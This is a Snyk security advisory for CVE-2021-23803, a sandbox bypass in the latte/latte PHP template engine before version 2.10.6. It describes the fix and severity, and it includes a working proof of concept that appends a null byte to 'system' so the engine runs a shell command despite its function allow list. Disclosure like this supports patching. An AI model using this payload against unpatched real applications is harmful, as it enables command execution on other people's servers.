Access Control Bypass

Affecting latte/latte package, versions <2.10.6

INTRODUCED: 26 NOV 2021 CVE-2021-23803 CWE-284 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `latte/latte` to version 2.10.6 or higher.

Overview

latte/latte is an intuitive and fast template engine for those who want the most secure PHP sites. Introduces context-sensitive escaping.

Affected versions of this package are vulnerable to Access Control Bypass. There is a way to bypass `allowFunctions` that will affect the security of the application. When the template is set to allow/disallow the use of certain functions, adding control characters (x00-x08) after the function will bypass these restrictions.

PoC

```
// The following PoC will execute the system function "whoami" <?php error_reporting(0); require
'vendor/autoload.php'; $latte = new Latte\Engine; $policy = new Latte\Sandbox\SecurityPolicy; $policy-
>allowFilters($policy::ALL); $policy->allowMacros(['if','=']); $policy->allowFunctions(['strlen']);
$latte->setPolicy($policy); $latte->setSandboxMode(); $latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}"); $latte->render('index.latte');
```

References

- GitHub Commit
- GitHub Issue

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-PHP-LATTELATTE-1932226
Published	9 Dec 2021
Disclosed	26 Nov 2021
Credit	Jiang

Report a new vulnerability

Found a mistake?